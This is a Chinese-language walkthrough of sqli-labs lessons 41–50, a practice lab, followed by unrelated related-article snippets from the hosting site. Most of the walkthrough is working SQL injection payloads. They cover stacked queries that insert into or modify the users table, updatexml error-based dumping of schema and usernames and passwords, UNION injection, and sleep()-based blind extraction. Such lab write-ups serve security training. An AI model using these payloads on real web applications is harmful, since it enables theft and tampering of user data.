sqli-labs-master/Less-41~Less-50

Less-41

这一关还是用堆叠注入,这关数字型不需要闭合了。

用堆叠的话,我们就不爆信息了。我们直接用堆叠,往进去写一条数据

?id=-1 union select 1,2,3;insert into users (id,username,password) values(666,'zk','180')--+

看一下插进去了没

?id=-1 union select 1,(select group_concat(username, password) from users where id = 666),3 --+

好了。

Less-42

这一关变成以post传参,防止它对我们拼接的语句编码,所以我们就不在输入框中尝试了。

我们直接抓包,重放,发现输密码那里有回显。

这里介绍一种标准的sql语句的注释方法杠杠空格

'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

接下来爆表

'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) -- 

下面爆字段

'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- 

下面爆数据

'and updatexml(1,concat(0x7e,(select group_concat(id,'~',username,'~',password)from users),0x7e),1) -- 

Less-43

这一关的注入点变了。这种关卡有很多方式都可以做

') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

这一关单引号括号闭合,下面参考上一关语句

Less-44

这一关post联合注入,注入点还是密码那里,单引号注释,井号闭合

爆库

1' union select 1,database(),3 #

下面语句参考以上

Less-45

跟上一关一样,但这一关是用单引号括号闭合的

爆库

1') union select 1,database(),3 #

下面不说了

Less-46

这一关参数变了,它提示我们用sort传参,试了发现是数字型的,直接构造语句爆库

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

下面还是老样子。

Less-47

这一关,还是报错注入,比上一关多了一个单引号闭合,换汤不换药。秒了

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

Less-48

这一关发现没有任何回显,我们考虑时间盲注

?sort=1 and sleep(1)

页面直接延时,说明他执行了我们的语句,数字型

直接构造语句判断数据库长度

?sort=1 and if(length(database())>8,sleep(1),1)

当大于7时页面延时,大于8时页面不延时,说明数据库长度是8

然后爆库,构造语句

?sort=1 and if(substr(database(),1,1)='a',sleep(10),1)

截取数据库第一位如果是a,则sleep(10)

但原理是这样的,我们总不可能从a试到z吧,况且数据库有8位。

所以直接抓包,设置

正确的会延时,这样就得到了数据库名。

接下来爆表

?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a',sleep(3),1)

得出第4个表是users

接下来爆字段

?sort=1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='a',sleep(3),1)

得出users表中第二个字段是username

接下来,爆数据

?sort=1 and if(substr((select username from users limit 0,1),1,1)='D',sleep(3),1)

爆出第一个username字段是Dumb,你们还可以把密码都爆出来。

Less-49

这一关和上一关一样用时间盲注,闭合方式单引号。

判断数据库名长度

?sort=1' and if(length(database())>8,sleep(3),1) --+

发现7时页面延时,8不延时,说明数据库有8位。

接下来爆库

?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

下面参考上一关即可。

Less-50

这一关依旧是数字型堆叠注入,我们这回改它数据库的一条数据,看能否成功,语句如下

1;update users set username='ZZKK' where id=1

可以看到攻击成功了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92162.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92162.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Tiger任务管理系统-10

十是个很好美好的数字,十全十美,确实没让人失望,收获还是很大的。 温习了前端知识,巩固了jQuery,thymeleaf等被忽视的框架,意外将之前的所学所用的知识都连起来了,感觉有点像打通了任督二脉一样…

ora-01658 无法为表空间 users中的段创建initial区

ora-01658 无法为表空间 users中的段创建initial区 参考1 参考2 参考3 参考4 给用户新增表空间 alter tablespace system add datafile D:\APP\ADMINISTRATOR\ORADATA\ORCL\SYSTEM03.DBF size 5G autoextend on next 10M;设置表空间文件自动扩展 ALTER DATABASE DATAFILE /…

lodash的替代品es-toolkit详解

一、es-toolkit简介 es-toolkit 是一款先进的高性能 JavaScript 实用程序库,体积小巧,并支持强类型注释,典型特征包括: 提供各种日常实用函数并采用现代实现,例如: debounce、delay、chunk、sum 和 pick 等 设计充分考虑了性能,在现代 JavaScript 环境中实现了 2-3 倍…

【原创】基于gemini-2.5-flash-preview-05-20多模态模型实现短视频的自动化二创

画面和解说保持一致,这个模型就是NB[16:57:37] [*] 正在从视频中提取帧和时长 (频率: 1.0 帧/秒)... [16:57:55] [] 提取完成。视频时长: 83.40秒, 提取了 84 帧。 [16:57:55] [*] 使用AI供应商: gemini [16:57:55] [*] 正在进行视觉分析... [16:57:55] L-> 正…

数仓架构 数据表建模

数仓架构 主要用来描述 数据加工的实时链路 和 离线链路之间的关系,即 流批 关系; lamda 架构, 是两条路, 实时计算式的, 维护数据的实时性。然后每天经过批计算后, 覆盖实时的计算结果。 保证数据准确性。 kappa架构, 即流批一体了 数据建模 星型模型是数据仓库中最…

vscode调试python脚本时无法进入函数内部的解决方法

只需在launch.json配置文件中添加“justMyCode”:false.

Python day37

浙大疏锦行 python day37. 内容: 保存模型只需要保存模型的参数即可,使用的时候直接构建模型再导入参数即可 # 保存模型参数 torch.save(model.state_dict(), "model_weights.pth")# 加载参数(需先定义模型结构) mod…

ORACLE进阶操作

1 事务 事务的任务便是使数据库从一种状态变换成为另一种状态,这不同于文件系统,它是数据库所特用的。 所有的数据库中,事务只针对DML(增删改),不针对select select只能查看其他事务提交或回滚的数据,不能查…

Modbus 的一些理解

疑问:(使用的是Modbustcp)我在 Modbus slave 上面设置了slave地址为1,位置为40001的位置的值为1,40001这个位置上面的值是怎么存储的,存储在哪里的?他们是怎么进行交互的?在Modbus协…

【运动控制框架】WPF运动控制框架源码,可用于激光切割机,雕刻机,分板机,点胶机,插件机等设备,开箱即用

WPF运动控制框架源码,可用于激光切割机,雕刻机,分板机,点胶机,插件机等设备,考虑到各运动控制硬件不同,视觉应用功能(应用视觉软件)也不同,所以只开发各路径编…

RabbitMQ-日常运维命令

作者介绍:简历上没有一个精通的运维工程师。请点击上方的蓝色《运维小路》关注我,下面的思维导图也是预计更新的内容和当前进度(不定时更新)。中间件,我给它的定义就是为了实现某系业务功能依赖的软件,包括如下部分:Web服务器代理…

【Linux基础知识系列】第九十篇 - 使用awk进行文本处理

在Linux系统中,文本处理是一个常见的任务,尤其是在处理日志文件、配置文件和数据文件时。awk是一个功能强大的文本处理工具,广泛用于数据提取、分析和格式化。它不仅可以处理简单的文本文件,还可以处理复杂的结构化数据&#xff0…

第二十七天(数据结构:图)

图:是一种非线性结构形式化的描述: G{V,R}V:图中各个顶点元素(如果这个图代表的是地图,这个顶点就是各个点的地址)R:关系集合,图中顶点与顶点之间的关系(如果是地图,这个关系集合可能就代表的是各个地点之间的距离)在顶点与顶点…

数据赋能(386)——数据挖掘——迭代过程

概述重要性如下:提升挖掘效果:迭代过程能不断优化数据挖掘模型,提高挖掘结果的准确性和有效性,从而更好地满足业务需求。适应复杂数据:数据往往具有复杂性和多样性,通过迭代可以逐步探索和适应数据的特点&a…

什么是键值缓存?让 LLM 闪电般快速

一、为什么 LLMs 需要 KV 缓存?大语言模型(LLMs)的文本生成遵循 “自回归” 模式 —— 每次仅输出一个 token(如词语、字符或子词),再将该 token 与历史序列拼接,作为下一轮输入,直到…

16.Home-懒加载指令优化

问题1:逻辑书写位置不合理问题2:重复监听问题已经加载完毕但是还在监听

Day116 若依融合mqtt

MQTT 1.MQTT协议概述MQTT是一种基于发布/订阅模式的轻量级消息传输协议,设计用于低带宽、高延迟或不稳定的网络环境,广泛应用于物联网领域1.1 MQTT协议的应用场景1.智能家居、车联网、工业物联网:MQTT可以用于连接各种家电设备和传感器&#…

PyTorch + PaddlePaddle 语音识别

PyTorch PaddlePaddle 语音识别 目录 概述环境配置基础理论数据预处理模型架构设计完整实现案例模型训练与评估推理与部署性能优化技巧总结 语音识别(ASR, Automatic Speech Recognition)是将音频信号转换为文本的技术。结合PyTorch和PaddlePaddle的…

施耐德 Easy Altivar ATV310 变频器:高效电机控制的理想选择(含快速调试步骤及常见故障代码)

施耐德 Easy Altivar ATV310 变频器:高效电机控制的理想选择(含快速调试步骤)在工业自动化领域,变频器作为电机控制的核心设备,其性能与可靠性直接影响整个生产系统的效率。施耐德电气推出的 Easy Altivar ATV310 变频…

搭建邮件服务器概述

一、电子邮件应用解析标准邮件服务器(qq邮箱):1)提供电子邮箱(lvbuqq.com)及存储空间2)为客户端向外发送邮件给其他邮箱(diaochan163.com)3)接收/投递其他邮箱…